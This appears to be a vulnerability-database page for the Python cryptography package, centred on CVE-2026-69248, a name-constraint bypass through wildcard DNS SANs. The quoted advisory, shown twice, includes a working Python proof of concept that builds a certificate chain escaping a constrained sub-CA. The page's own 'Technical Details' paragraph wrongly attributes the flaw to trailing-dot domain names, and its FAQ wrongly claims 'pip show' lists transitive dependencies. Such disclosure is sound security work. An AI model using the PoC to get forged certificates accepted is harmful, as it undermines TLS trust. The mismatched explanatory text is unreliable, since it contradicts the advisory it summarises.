Vulnerabilities in pkg:pypi/cryptography

PACKAGE
Advisory Identifier: GHSA-m2h6-j472-rp4c
Advisory Summary

CVE-2026-69248 is a MODERATE python-cryptography verifier accepts wildcard dns vulnerability (CWE-295: Improper Certificate Validation) affecting Cryptography libraries in the PyPI ecosystem. The issue involves python-cryptography verifier accepts wildcard dns names allowing escape from permittedsubtrees. Remediation is available by upgrading affected packages to version 49.0.0.

24 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/cryptography

24 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/cryptography. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-m2h6-j472-rp4c CVE-2026-69248 MODERATE python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
GHSA-jwv3-5hgf-82ww CVE-2026-69249 HIGH python-cryptography: Duplicate self-signed intermediates can cause exponential path-building
GHSA-g6cj-pr64-35w5 CVE-2026-69247 HIGH cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing
GHSA-537c-gmf6-5ccf - HIGH Vulnerable OpenSSL included in cryptography wheels
GHSA-p423-j2cm-9vmq CVE-2026-39892 MODERATE Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs
GHSA-m959-cc7f-wv43 CVE-2026-34073 LOW cryptography has incomplete DNS name constraint enforcement on peer names
GHSA-9v9h-cgj8-h64p CVE-2024-0727 MODERATE Null pointer dereference in PKCS12 parsing
GHSA-3ww4-gg4f-jr7f CVE-2023-50782 HIGH Python Cryptography package vulnerable to Bleichenbacher timing oracle attack
GHSA-r6ph-v2qm-q3c2 CVE-2026-26007 HIGH cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves
GHSA-x4qr-2fvf-3mr5 CVE-2023-0286 HIGH Vulnerable OpenSSL included in cryptography wheels
GHSA-jfhm-5ghh-2f97 CVE-2023-49083 MODERATE cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
GHSA-w7pp-m8wf-vj6r CVE-2023-23931 MODERATE Cipher.update_into can corrupt memory if passed an immutable python object as the outbuf
GHSA-79v4-65xg-pq4g CVE-2024-12797 LOW Vulnerable OpenSSL included in cryptography wheels
GHSA-6vqw-3v5j-54x4 CVE-2024-26130 HIGH cryptography NULL pointer dereference with pkcs12.serialize_key_and_certificates when called with a non-matching certificate and private key and an hmac_hash override
GHSA-hggm-jpg3-v476 CVE-2020-25659 HIGH RSA decryption vulnerable to Bleichenbacher timing vulnerability
GHSA-q3cj-2r34-2cwc CVE-2016-9243 HIGH Improper input validation in cryptography
GHSA-cf7p-gm2m-833m CVE-2023-38325 HIGH cryptography mishandles SSH certificates
GHSA-rhm9-p9w5-fwm7 CVE-2020-36242 HIGH PyCA Cryptography symmetrically encrypting large values can lead to integer overflow
GHSA-fcf9-3qw3-gxmj CVE-2018-10903 HIGH PyCA Cryptography vulnerable to GCM tag forgery
GHSA-h4gh-qq45-vh27 - MODERATE pyca/cryptography has a vulnerable OpenSSL included in cryptography wheels
GHSA-v8gr-m533-ghj9 - LOW Vulnerable OpenSSL included in cryptography wheels
GHSA-jm77-qphf-c4w8 - LOW pyca/cryptography's wheels include vulnerable OpenSSL
GHSA-5cpq-8wj7-hf2v - LOW Vulnerable OpenSSL included in cryptography wheels
GHSA-39hc-v87j-747x - MODERATE Vulnerable OpenSSL included in cryptography wheels

CVE-2026-69248 at a Glance

CVE Identifier CVE-2026-69248
GHSA Identifier GHSA-m2h6-j472-rp4c
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-295: Improper Certificate Validation
Affected Product Cryptography
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-69248

To remediate this vulnerability, upgrade all affected Cryptography dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

cryptography fixed: 49.0.0
pip install cryptography>=49.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show cryptography

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-69248, inspect your installed packages using pip:

pip show cryptography

Analyze the terminal output to locate any version of Cryptography in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 49.0.0), your application is affected.

Note: The pip show cryptography command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & RFC 5280 Specification

Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Cryptography failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.

Source Advisory Statement

### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}") ``` ### Impact Acceptance of invalid certificate chain.

CVE-2026-69248 Affected Cryptography Versions

1 component(s)
Fixed Versions:
49.0.0
Product / Package Ecosystem Affected Versions Fixed Version
cryptography
PyPI
≥ 45.0.0
< 49.0.0
49.0.0

References

Frequently Asked Questions

What is CVE-2026-69248?
CVE-2026-69248 is a security vulnerability in Cryptography involving python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees under CWE-295: Improper Certificate Validation.
Which Cryptography versions are affected?
Affected versions include releases prior to 49.0.0 across affected packages: cryptography.
What version fixes CVE-2026-69248?
Upgrading to 49.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is cryptography affected?
Yes, cryptography is affected in releases prior to 49.0.0. Upgrade your dependency to 49.0.0 or later.
What CWE is associated with CVE-2026-69248?
CVE-2026-69248 is classified under CWE-295: Improper Certificate Validation (The product does not validate, or incorrectly validates, a certificate.).
How can I check PyPI dependencies for CVE-2026-69248?
Run the dependency tree command: 'pip show cryptography'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m2h6-j472-rp4c",
  "modified" : "2026-09-24T14:54:17Z",
  "published" : "2026-08-03T21:26:57Z",
  "aliases" : [ "CVE-2026-69248" ],
  "summary" : "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
  "details" : "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes — a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "cryptography"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "45.0.0"
      }, {
        "fixed" : "49.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyca/cryptography/pull/14888"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyca/cryptography/commit/286c89128"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyca/cryptography"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-295" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-03T21:26:57Z",
    "nvd_published_at" : "2026-08-03T22:16:52Z"
  }
}